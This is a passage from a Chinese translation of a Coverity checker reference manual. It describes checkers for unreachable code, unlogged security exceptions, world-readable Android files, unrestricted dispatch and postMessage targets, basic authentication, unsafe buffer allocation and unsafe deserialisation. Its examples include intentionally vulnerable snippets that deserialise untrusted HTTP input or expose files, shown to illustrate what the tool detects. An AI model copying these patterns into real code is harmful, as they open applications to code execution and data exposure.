以下方法捕获与安全有关的异常，但未记录此事件。此检查器将报告 `catch` 块中的缺陷。

```
void SecurityExceptionHappens() {
 try {
 // do something
 }
 catch (AuthorizationFailedException e) {
 // do something, but don't log
 }
}
```

#### 4.331.3.4. Visual Basic

以下方法捕获与安全有关的异常，但未记录此事件。此检查器将报告 `catch` 块中的缺陷。

```
Sub SecurityExceptionHappens()
 Try
 ' do something
 Catch e as SecurityException
 ' do something, but don't log
 End Try
End Sub
```

#### 4.331.4. 选项

本部分描述了一个或多个 `UNLOGGED_SECURITY_EXCEPTION` 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `UNLOGGED_SECURITY_EXCEPTION:security_exceptions:<classes>` - [所有语言] 此选项列出必须记录的其他安全异常的完全限定类名称。允许一个或多个值，可以作为多个选项或作为逗号分隔列表。
- `UNLOGGED_SECURITY_EXCEPTION:enable_name_heuristics:<boolean>` - [所有语言] 使用此选项，名称判别法可使检查器偏爱检测日志记录操作的方法。此选项默认启用。
- `UNLOGGED_SECURITY_EXCEPTION:enable_standard_output_logging:<boolean>` - [Java] 使用此选项，支持将标准输出和错误方法视为日志操作。此选项默认禁用。

#### 4.331.5. 事件

本部分描述了 `UNLOGGED_SECURITY_EXCEPTION` 检查器生成的一个或多个事件。

- `end_of_catch` - 表示不包含任何日志记录的相应 catch 块结束。
- `exit_from_catch` - 表示在事先没有记录的情况下提前退出 catch 块（即 return 语句）。
- `security_exception` - 表示处理安全异常的 catch 块开始。

### 4.332. UNREACHABLE

质量检查器

#### 4.332.1. 概述

支持的语言：. C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Scala、TypeScript 和 Visual Basic

`UNREACHABLE` 报告控制流无法到达代码库特定区域的多种情况。`DEADCODE` 检查器旨在查找由于存在其条件始终通过相同方式评估的分支而绝不会到达的代码；`UNREACHABLE` 检查器与之不同，它用于查找无论条件表达式值为何都绝不会到达的代码。

C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Scala、TypeScript 和 Visual Basic

- 默认启用：`UNREACHABLE` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.332.1.1. C、C++ 和 C#

对于 C/C++ 和 C#，`UNREACHABLE` 缺陷经常发生，原因是缺少大括号，而这会导致无法到达 `break`、`continue`、`goto` 或 `return` 语句之后的代码。如果无法到达的代码是 `return` 或 `break` 语句，此检查器不会报告缺陷。

请注意，很多 C/C++ 和 C# 编译器将针对无法到达的代码生成警告，而不是错误。在调试过程中，经常将代码设置为无法到达，以在稍后修复。当代码意外变成该状态后，此检查器会报告缺陷。

#### 4.332.1.2. Java 和 Scala

对于 Java 和 Scala，无法到达的表达式可在 `for` 循环的递增或 `do-while` 循环的条件（如果 `break` 或 `return` 语句强制该循环只执行一次）中找到。

对于 Java 和 Scala，`UNREACHABLE` 不会报告无法到达的 Java 语句，因为 Java 编译器禁止使用此类语句。此类语句必须修复才能成功进行编译。

#### 4.332.1.3. JavaScript、TypeScript 和 PHP

对于 JavaScript、TypeScript 和 PHP，该检查器将报告 `break`、`continue` 或 `return` 语句之后的语句以及可能绝不会到达的循环递增中的语句，与 C、C++ 和 C# 版本的该检查器类似。

在 JavaScript 和 TypeScript 中，此检查器还可查找由于误解分号自动插入导致的缺陷。请参阅 Section 4.332.2.6，“JavaScript 和 TypeScript”中的示例。

#### 4.332.1.4. Python 和 Ruby

对于 Python 和 Ruby，该检查器将报告 `return`、`raise`、`break`、`continue`、`redo` 和 `next` 语句之后的语句。

### 4.332.2. 示例

本部分提供了一个或多个 `UNREACHABLE` 示例。

#### 4.332.2.1. C/C++

在下面的示例中，`if` 语句缺少大括号，因此该函数总是返回 `-1`，并且语句 `use_p(*p);` 绝不会到达。该示例包含开发人员原本可能打算添加大括号的代码块注释。

```
int unreachable_example (int *p) {
 if(p == NULL) /*{*/
 handle_error();
 return -1;
 /*}*/
 use_p(*p); //An UNREACHABLE defect here.
 return 0;
}
```

在下面的示例中，`if` 语句缺少大括号，因此位于 `break` 语句之后的 `i++` 无法到达。在该示例中，开发人员原本可能打算在代码块注释周围添加大括号。

```
int unreachable_example2 (int array[10]) {
 int i;
 int value = -1;
 for(i = 0; i < 10; i++) { //An UNREACHABLE defect here:
 // Increment is unreachable. Array
 // not properly searched because the break
 // statement is executed on the first iteration.
```

```

if(array[i] > 100) /*{*/
 value = array[i];
break;
/*}*/
}
return value;
}

```

#### 4.332.2.2. C#

在下面的示例中，`HasDefect()` 方法包含无法到达的代码。关联的 `NoDefect()` 方法包含说明了作者原本可能意图的类似代码。

```

public interface SomeIface {
 void DoWork();
 void DoSomeOtherWork();
 void DoEvenMoreWork();
}

public class Unreachable {
 public void HasDefect(SomeIface iface, bool cond) {
 if(cond) {
 iface.DoWork();
 }
 return;
 iface.DoSomeOtherWork(); //An UNREACHABLE defect here.
 }

 public void NoDefect(SomeIface iface, bool cond) {
 if(cond) {
 iface.DoWork();
 return;
 }
 iface.DoSomeOtherWork(); //No UNREACHABLE defect here.
 }

 public void HasDefect2(SomeIface iface, int threshold) {
 for(int i = 0; i < 10; i++) {
 if(i < threshold) {
 iface.DoWork();
 continue;
 } else {
 iface.DoSomeOtherWork();
 break;
 }
 iface.DoEvenMoreWork(); //An UNREACHABLE defect here.
 }
 }

 public void NoDefect2(SomeIface iface, int threshold) {
 for(int i = 0; i < 10; i++) {
 if(i < threshold) {
 iface.DoWork();

```

```

 continue;
 } else {
 iface.DoSomeOtherWork();
 break;
 }
}
iface.DoEvenMoreWork(); //No UNREACHABLE defect here.
}

public void HasDefect3(SomeIface iface, int threshold) {
 for(int i = 0; i < 10; i++) { //An UNREACHABLE defect here.
 if(i < threshold) {
 iface.DoWork();
 } else {
 iface.DoSomeOtherWork();
 }
 break;
 }
}

public void NoDefect3(SomeIface iface, int threshold) {
 for(int i = 0; i < 10; i++) { //No UNREACHABLE defect here.
 if(i < threshold) {
 iface.DoWork();
 } else {
 iface.DoSomeOtherWork();
 break;
 }
 }
}
}

```

#### 4.332.2.3. Visual Basic

在下面的示例中，`HasDefect()` 方法包含无法到达的代码。关联的 `NoDefect()` 方法包含说明了作者原本可能意图的类似代码。

```

Interface SomeIface
 Sub DoWork()
 Sub DoSomeOtherWork()
 Sub DoEvenMoreWork()
End Interface

Class Unreachable
 Sub HasDefect(iface As SomeIface, cond As Boolean)
 If cond Then
 iface.DoWork()
 End If

 Return
 iface.DoSomeOtherWork() ' This statement is unreachable, because the method
unconditionally returns on the previous line
 End Sub

```

```

Sub NoDefect(iface As SomeIface, cond As Boolean)
 If cond Then
 iface.DoWork()
 Return
 End If

 iface.DoSomeOtherWork() ' No defect, because the 'Return' statement is
conditional
End Sub

Sub HasDefect2(iface As SomeIface, threshold As Integer)
 For i As Integer = 0 To 9
 If i < threshold Then
 iface.DoWork()
 Continue For
 Else
 iface.DoSomeOtherWork()
 Exit For
 End If

 iface.DoEvenMoreWork() ' This statement is unreachable, because both
branches of the previous 'If' statement transfer control elsewhere
 Next
End Sub
End Class

```

#### 4.332.2.4. Java

在下面的示例中，未正确搜索数组，因为 `break` 语句是在第一次迭代时执行。

```

int unreachable_example (int[] array) {
 int value = -1;
 for(int i = 0; i < array.length; i++) { //An UNREACHABLE defect here.
 if(array[i] > 100) //{
 value = array[i];
 break;
 //}
 }
 return value;
}

```

#### 4.332.2.5. Scala

在下面的示例中，`if` 语句的两个分支都以返回语句结尾。因此，无论条件 `cond` 的结果如何，将永远不会执行下面的 `return doWork()` 行。

```

def unreachable(cond : Boolean) : Int = {
 if (cond) {
 return 1
 } else {
 return 2
 }
}

```

```
 }
 return doWork() // Defect here.
}
```

#### 4.332.2.6. JavaScript 和 TypeScript

下面的示例说明了误解 JavaScript 和 TypeScript 中的自动插入分号功能（在 `return` 标记后自动插入分号），导致数组无法到达并且方法返回未定义项的情况。此问题之所以会发生，是因为 `return` 标记及其返回的表达式之间不允许出现新行。

```
function getDaysOfWeek() {
 return
 ["Sunday",
 "Monday",
 "Tuesday",
 "Wednesday",
 "Thursday",
 "Friday",
 "Saturday"] // Defect.
}
```

#### 4.332.2.7. PHP

```
function unreachable($cond) {
 if($cond) {
 doWork();
 }
 return;
 doSomeOtherWork(); // Defect here.
}
```

#### 4.332.2.8. Python

```
def unreachable(threshold):
 for i in range(0, 10):
 if(i < threshold):
 doWork()
 continue
 else:
 doSomeOtherWork()
 break
 doEvenMoreWork() # Defect here.
```

#### 4.332.2.9. Ruby

```
def check(cond, message)
 if (cond)
 raise RuntimeError, message
 log("Fatal error: " + message) # Defect here.
 end
end
```

### 4.332.3. 选项

本部分描述了一个或多个 UNREACHABLE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNREACHABLE:report\_unreachable\_empty\_increment:<boolean> - 此选项可在循环递增为空并且无法到达以及循环本体只执行一次时报告缺陷。默认值为 UNREACHABLE:report\_unreachable\_empty\_increment:true (适用于 C、C++、Objective-C、Objective-C++)。默认值为 UNREACHABLE:report\_unreachable\_empty\_increment:false (适用于 C#、Java、JavaScript 和 TypeScript)。

下面的示例在此选项被设置为 true 时生成 UNREACHABLE 缺陷：

```
for(int i = 0; i < 0;)
{
 break;
}
```

当 cov-analyze --aggressiveness-level 为“中等”(medium) 时，UNREACHABLE:report\_unreachable\_empty\_increment 会被设置为 true (已启用，适用于 C# 和 Java)。

- UNREACHABLE:report\_unreachable\_in\_macro:<boolean> - 此选项会在代码块由于宏扩展而无法到达时报告缺陷。默认值为 UNREACHABLE:report\_unreachable\_in\_macro:false (仅适用于 C 和 C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

### 4.332.4. 事件

本部分描述了 UNREACHABLE 检查器生成的一个或多个事件。

- unreachable - 无法到达的事件、缺陷。

## 4.333. UNRESTRICTED\_ACCESS\_TO\_FILE

安全检查器

### 4.333.1. 概述

支持的语言：. Java、Kotlin

UNRESTRICTED\_ACCESS\_TO\_FILE 检查器查找应用程序在其存储区域中创建了文件但未对该文件应用访问控制的情况。每个 Android 应用程序都有指定的内部存储区域，而且默认情况下，只有该应用程序可以访问。通过将模式显式设置为 MODE\_WORLD\_WRITEABLE 或 MODE\_WORLD\_READABLE，应用程序可以在其内部存储区域中创建其他应用程序可以访问的文件。应用程序还可以访问全局可读取和写入的外部存

储区域（例如 SD 卡）。由于无法控制对外部存储区域的访问，因此应用程序绝不应在外部存储区域中存储敏感信息。

可能有正当理由将文件存储在外部区域。此检查器不会尝试确定存储在文件中的数据是否是敏感信息。这是一种审核检查器，需要程序员公开检查可访问文件实例，并确定此类访问是否适当。

- 默认禁用：UNRESTRICTED\_ACCESS\_TO\_FILE 默认对 Java 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Android 安全检查器启用：要同时启用 UNRESTRICTED\_ACCESS\_TO\_FILE 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

- 默认启用：UNRESTRICTED\_ACCESS\_TO\_FILE 默认对 Kotlin 启用。

### 4.333.2. 缺陷剖析

UNRESTRICTED\_ACCESS\_TO\_FILE 缺陷表明如何在存储区域中创建没有访问限制的文件。如果文件是通过 MODE\_WORLD\_READABLE 或 MODE\_WORLD\_WRITEABLE 选项创建的，该缺陷将指向使用这些选项创建文件的 API 调用。

如果文件的绝对路径指向外部存储，则还可以在存储区域中创建没有访问限制的文件。在此示例中，UNRESTRICTED\_ACCESS\_TO\_FILE 缺陷将显示构造外部存储路径并将其传递给在该位置创建文件的 API 的执行路径。该路径可能使用指向外部存储的常量字符串（例如 /sdcard/）作为开头。在此处开始，缺陷中的各种事件说明了该路径如何在程序中流动，例如从函数调用的参数到被调用函数的参数，或者通过向路径字符串追加更多子目录。数据流路径的最终部分表示构造文件的 API 中使用的外部存储路径。因此，恶意应用程序可能会访问存储在此文件中的任何敏感数据。

### 4.333.3. 示例

本部分提供了一个或多个 UNRESTRICTED\_ACCESS\_TO\_FILE 示例。

#### 4.333.3.1. Java

在下面的示例中，发现了一个缺陷，由于文件权限设置为 MODE\_WORLD\_READABLE，因此任何应用程序都能够从此数据库中读取数据。

```
SQLiteDatabase db = context.openOrCreateDatabase("secret.db",
 MODE_WORLD_READABLE,
 factory,
 errorHandler);
```

#### 4.333.3.2. Kotlin

在下面的示例中，发现了一个缺陷，由于文件权限设置为 MODE\_WORLD\_READABLE，因此任何应用程序都能够从此数据库中读取数据。

```
val db: SQLiteDatabase = context.openOrCreateDatabase("secret.db",
 MODE_WORLD_READABLE, factory, errorHandler);
```

#### 4.333.4. 选项

本部分描述了一个或多个 UNRESTRICTED\_ACCESS\_TO\_FILE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNRESTRICTED\_ACCESS\_TO\_FILE:api\_level:<number> - 此选项指定应用程序针对的 Android API 级别。对于小于或等于 15 的 API 级别，`SQLiteDatabase.openOrCreateDatabase` 和 `SQLiteDatabase.openDatabase` 实现将始终创建全局可读数据库。因此，如果此选项的值小于或等于 15，UNRESTRICTED\_ACCESS\_TO\_FILE 将始终在 `SQLiteDatabase.openOrCreateDatabase` 被调用以及 `SQLiteDatabase.openDatabase` 被通过标记 `SQLiteDatabase.CREATE_IF_NECESSARY` 调用时报告缺陷。默认值为 UNRESTRICTED\_ACCESS\_TO\_FILE:api\_level:19。

### 4.334. UNRESTRICTED\_DISPATCH

安全检查器

#### 4.334.1. 概述

支持的语言：. C#、Java、Visual Basic

UNRESTRICTED\_DISPATCH 查找无限制的调度漏洞；当不受控制的动态数据被传递给 view 调度方法时，就会产生此类漏洞。传递给调度方法的值可控制呈现的 view 或返回的内容。利用此安全漏洞，攻击者可以通过另一个不受保护的入口点访问具有访问权限控制的内容，绕过安全检查或获取未经授权的数据。

默认禁用：UNRESTRICTED\_DISPATCH 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 UNRESTRICTED\_DISPATCH 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.334.2. 示例

本部分提供了一个或多个 UNRESTRICTED\_DISPATCH 示例。

##### 4.334.2.1. Java

在下面的示例中，获取了 HTTP 请求参数 `errorUrl`，然后通过数据消费者 `ServletRequest.getRequestDispatcher` 将其传递给了 servlet 调度程序。

```
String errorUrl = request.getParameter("errorUrl");
if (errorUrl == null || errorUrl.equals(""))
 throw new ServletException("Missing error URL page");
try {
 RequestDispatcher dispatch = request.getRequestDispatcher(errorUrl);
 this.getRequest().setAttribute("error", e);
 dispatch.include(this.getRequest(), this.getResponse());
...
}
```

攻击者可以通过 `errorUrl` 参数指定任意 servlet 或 JSP 名称。在这种情况下，servlet 响应的内容将与缺陷一起包括在当前页面的组成部分中。

#### 4.334.2.2. C#

```
using System.Web.Mvc;

namespace MyWebapp {

 class HomeController : Controller {

 protected ActionResult RenderView()
 {
 return View(Request["view_name"]);
 }
 }
}
```

#### 4.334.2.3. Visual Basic

```
Imports System.Web.Mvc

Namespace MyWebapp

 Class HomeController
 Implements Controller

 Protected Function RenderView() As ActionResult
 Return View(Request("view_name"))
 End Function
 End Class
End Namespace
```

### 4.334.3. 事件

本部分描述了 UNRESTRICTED\_DISPATCH 检查器生成的一个或多个事件。

- `sink` - ( 主要事件 ) 识别被污染的数据到达数据消费者的位置。
- `remediation` - 提供关于修复安全漏洞的信息。

#### 数据流事件

- `member_init` - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- `object_construction` - 使用被污染的数据创建类实例。
- `subclass` - 创建了类实例以用作超类。
- `taint_alias` - 为被污染的对象设置了别名。
- `taint_path` - 将被污染的值赋值给本地变量。

- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

## 4.335. UNRESTRICTED\_MESSAGE\_TARGET

安全检查器、Web 应用程序检查器

### 4.335.1. 概述

支持的语言：. 仅限 JavaScript

UNRESTRICTED\_MESSAGE\_TARGET 报告在不限制可以接收它的源的情况下发送跨源窗口消息的代码中的缺陷。此类代码可能允许恶意网站通过更改窗口的位置拦截消息。

默认禁用：UNRESTRICTED\_MESSAGE\_TARGET 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

### 4.335.2. 缺陷剖析

UNRESTRICTED\_MESSAGE\_TARGET 缺陷显示使用 `targetOrigin` 参数 "\*" 而不是确切 URI 值对函数 `window.postMessage` 的调用。

### 4.335.3. 示例

本部分提供了一个或多个 UNRESTRICTED\_MESSAGE\_TARGET 示例。

```
// Defect example:
function unrestricted_postMessage(message) {
 window.postMessage(message, "*");
}

// Good example:
function restricted_postMessage(message) {
 window.postMessage(message, "http://example.com");
}
```

## 4.336. UNSAFE\_BASIC\_AUTH

安全检查器

### 4.336.1. 概述

支持的语言：. Go、Ruby

UNSAFE\_BASIC\_AUTH 检查器报告对基本验证的使用：基本验证方案随着从 Web 浏览器到 Web 服务器的每次请求发送未加密的凭证。

默认启用：UNSAFE\_BASIC\_AUTH 检查器默认对 Go 和 Ruby 启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.336.1.1. Go

对于 Go，UNSAFE\_BASIC\_AUTH 检查器查找调用函数

`http.Request.SetBasicAuth()`、`gin.BasicAuth()`、`gin.BasicAuthForRealm()` 或 `go-http-auth.NewBasicAuthenticator()` 或者创建实例 `go-http-auth.BasicAuth`，以将请求的授权头文件设置为使用提供的用户名和密码进行 HTTP 基本身份验证的情况。使用 HTTP 基本身份验证，提供的用户名和密码不会加密。

#### 4.336.1.2. Ruby

在 Ruby on Rails 中，内置实施基本验证不支持限速，无法阻止暴力攻击，也不提供任何其他帐户保护。

### 4.336.2. 缺陷剖析

发生“事件”部分描述的任何事件时报告 UNSAFE\_BASIC\_AUTH 缺陷。

### 4.336.3. 示例

本部分提供了一个或多个 UNSAFE\_BASIC\_AUTH 示例。

#### 4.336.3.1. Go

在下面的示例中，针对 HTTP 请求调用 `http.Request.SetBasicAuth()` 方法显示了 UNSAFE\_BASIC\_AUTH 缺陷。

```
package client

import (
 "net/http"
)

type APIClientConfig struct {
 Username string
 Password string
}

type APIClient struct {
```

```

// http client
client *http.Client

// Configuration
config APIClientConfig
}

func (ac *APIClient) Get(url string) {
 req, _ := http.NewRequest("GET", url, nil)
 req.SetBasicAuth(ac.config.Username, ac.config.Password) // defect here
 ac.client.Do(req)
}

```

#### 4.336.3.2. Ruby

下面的 Ruby-on-Rails 示例展示了对基本验证的使用，以及对密码进行非恒定时间比较。

```

class AdminController < ApplicationController
 def show
 authenticate_or_request_with_http_basic do |username, password|
 username == "admin" && password == CONFIG[:admin_password]
 end
 end
end

```

#### 4.336.4. 事件

本部分描述了 `UNSAFE_BASIC_AUTH` 检查器生成的一个或多个事件。

- `basic_auth_password` - 基本验证与硬编码密码一起使用。
- `basic_auth_timing_attack` - 使用基本验证并使用非恒定时间比较来验证密码，导致潜在的时间攻击漏洞。
- `basic_auth_usage` - 在应用程序中使用基本验证。

### 4.337. UNSAFE\_BUFFER\_METHOD

安全性

#### 4.337.1. 概述

支持的语言：. JavaScript、TypeScript

`UNSAFE_BUFFER_METHOD` 检查器查找分配的内存段未初始化（未清零）的情况，因为其内容可能会从系统内存中泄露敏感数据。

`UNSAFE_BUFFER_METHOD` 检查器默认禁用；它仅在 `Audit` 模式下启用。

#### 4.337.2. 示例

本部分提供了一个或多个 `UNSAFE_BUFFER_METHOD` 示例。

在下面的示例中，针对从 `buffer` 模块的 `Buffer` 类中调用的不安全缓冲区分配方法 `allocUnsafe`，显示 `UNSAFE_BUFFER_METHOD` 缺陷：

```
const buffer = require('buffer');
const Buffer = buffer.Buffer;

const buf = Buffer.allocUnsafe(10); // defect
```

## 4.338. UNSAFE\_DESERIALIZATION

安全检查器

### 4.338.1. 概述

支持的语言：. C#、Java、JavaScript、Kotlin、PHP、Python、Ruby、Visual Basic

`UNSAFE_DESERIALIZATION` 查找不安全的反序列化注入漏洞；当不受控制的动态数据被用于可能反序列化或解编对象的 API 时，就会产生此类漏洞。此安全漏洞可能允许攻击者绕过安全检查或执行任意代码。

对于 Ruby 和 Kotlin，`UNSAFE_DESERIALIZATION` 默认启用。对于其他语言，它默认被禁用。

Web 应用程序安全检查器启用：要启用 `UNSAFE_DESERIALIZATION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 `UNSAFE_DESERIALIZATION`，请在 `cov-analyze` 命令中使用 `--android-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

### 4.338.2. 缺陷剖析

对于 Ruby on Rails，当使用 `YAML`、`CSV` 或 `Marshal` 反序列化来自通过动态 `data.uncontrolled` 指定的字符串或文件的数据时，报告 `UNSAFE_DESERIALIZATION` 缺陷。

### 4.338.3. 示例

本部分提供了一个或多个 `UNSAFE_DESERIALIZATION` 示例。

#### 4.338.3.1. C#

```
using System;
using System.IO;
using System.Web;
using System.Runtime.Serialization.Formatters.Binary;

public class UnsafeDeserialization
{
```

```
public T DeserializeUserDataUnsafe<T>(HttpRequest request, string key)
{
 // Take some user-supplied (potentially attacker supplied) data and
 // deserialize it. Just simply deserializing data can cause other
 // code to be executed (e.g. deserialization routines, callbacks, etc).
 string strData = request[key];
 byte[] rawData = Convert.FromBase64String(strData);
 Stream streamData = new MemoryStream(rawData);
 BinaryFormatter deserializer = new BinaryFormatter();
 return (T)deserializer.Deserialize(streamData);
}
```

#### 4.338.3.2. Java

在下面的示例中，方法将 HTTP 请求输入数据流传递给了属于反序列化 API 的 `ObjectInputStream` 构造函数。

```
public void doFilter(ServletRequest request, ServletResponse response, FilterChain
chain)
throws IOException, ServletException
{
 HttpServletRequest httpRequest = (HttpServletRequest) request;
 Principal user = httpRequest.getUserPrincipal();
 if (user == null && this.readOnlyContext != null)
 {
 ServletInputStream sis = request.getInputStream();
 Runnable action = null;
 try (ObjectInputStream ois = new ObjectInputStream(sis)) {
 // Deserialize a data object that also
 // implements java.lang.Runnable.
 action = (Runnable)ois.readObject();
 }
 catch (ClassNotFoundException e) {
 throw new ServletException("Error");
 }
 action.run();
 }
}
```

可以实现此条件的攻击者可以在 HTTP 请求中提供任意对象实例。对攻击者的唯一限制是类必须位于应用程序的类路径中。

#### 4.338.3.3. JavaScript

在下面的示例中，攻击者可以向 `unserialize` 调用提供任意输入，并最终在最终调用对象的 `displayString` 方法时执行任意代码。

```
var express = require('express');
var app = express();
var s = require('node-serialize');
```

```

app.get('/summary', function(req, res) {
 console.log(req.query.n);
 s.deserialize(req.query.n);

 res.sendStatus('Status:' + s.displayString());
});

app.listen(3000, function() {console.log('Listening ')});
```

#### 4.338.3.4. Kotlin

在下面的示例中，方法将 HTTP 请求输入数据流传递给了属于反序列化 API 的 `ObjectInputStream` 构造函数。在实例化 `ObjectInputStream` 时将报告缺陷。

```

fun doFilter(request: ServletRequest, response: ServletResponse?, chain: FilterChain?) {
 val httpRequest: HttpServletRequest = request as HttpServletRequest
 val user: Principal = httpRequest.getUserPrincipal()
 if (user == null && this.readOnlyContext != null)

 {
 val sis: ServletInputStream = request.getInputStream()
 var action: Runnable? = null

 try {
 val ois : ObjectInputStream = ObjectInputStream(sis)
 action = ois.readObject() as Runnable
 } catch (e: ClassNotFoundException) {
 throw ServletException("Error")
 }
 action!!.run()
 }
}
```

#### 4.338.3.5. PHP

在下面的示例中，来自 HTTP 请求的不可信数据被传递给反序列化函数。

```

<?php

$user_info = $_REQUEST['user_info'];
unserialize($user_info); // Defect here

?>
```

#### 4.338.3.6. Python

以下 Django 片段使用 `pickle.loads` 来反序列化 HTTP 请求的主体。

```
import pickle
```

```
from django.conf.urls import url

def django_view(request):
 pickle.loads(request.body);

urlpatterns = [
 url(r'^index', django_view)
```

#### 4.338.3.7. Ruby

下面的 Ruby-on-Rails 示例展示了对来自 HTTP 请求的数据进行反序列化的情况。

```
Marshal.load(params[:data])
```

#### 4.338.3.8. Visual Basic

下面的示例说明了用户数据的不安全反序列化：

```
Imports System
Imports System.IO
Imports System.Web
Imports System.Runtime.Serialization.Formatters.Binary

Public Class UnsafeDeserialization

 Public Function DeserializeUserDataUnsafe(Of T)(ByVal request As HttpRequest,
 ByVal key As String) As T
 'Take some user-supplied (potentially attacker supplied) data and
 'deserialize it. Just simply deserializing data can cause other
 'code to be executed (e.g. deserialization routines, callbacks, etc).
 Dim strData As String = request(key)
 Dim rawData As Byte() = Convert.FromBase64String(strData)
 Dim streamData As Stream = New MemoryStream(rawData)
 Dim deserializer As BinaryFormatter = New BinaryFormatter()
 Return CType(deserializer.Deserialize(streamData), T)
 End Function
End Class
```

#### 4.338.4. 选项

本部分描述了一个或多个 UNSAFE\_DESERIALIZATION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNSAFE\_DESERIALIZATION:distrust\_all:<boolean> - [仅限 JavaScript、Kotlin 和 PHP]  
将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 UNSAFE\_DESERIALIZATION:distrust\_all:false。

如果将 cov-analyze 命令的 UNSAFE\_DESERIALIZATION:webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- UNSAFE\_DESERIALIZATION:trust\_command\_line:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_console:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_cookie:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_database:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_environment:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_filesystem:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_http:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_http\_header:<boolean> - [仅限 JavaScript、Kotlin 和 PHP] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_mobile\_other\_app:<boolean> - [仅限 Kotlin]。将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 UNSAFE\_DESERIALIZATION:trust\_mobile\_other\_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- UNSAFE\_DESERIALIZATION:trust\_mobile\_other\_privileged\_app:<boolean> - [仅限 Kotlin]。将此选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为

UNSAFE\_DESERIALIZATION :trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。

- UNSAFE\_DESERIALIZATION:trust\_mobile\_other\_same\_app:<boolean> - [仅限 Kotlin]  
将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 UNSAFE\_DESERIALIZATION :trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
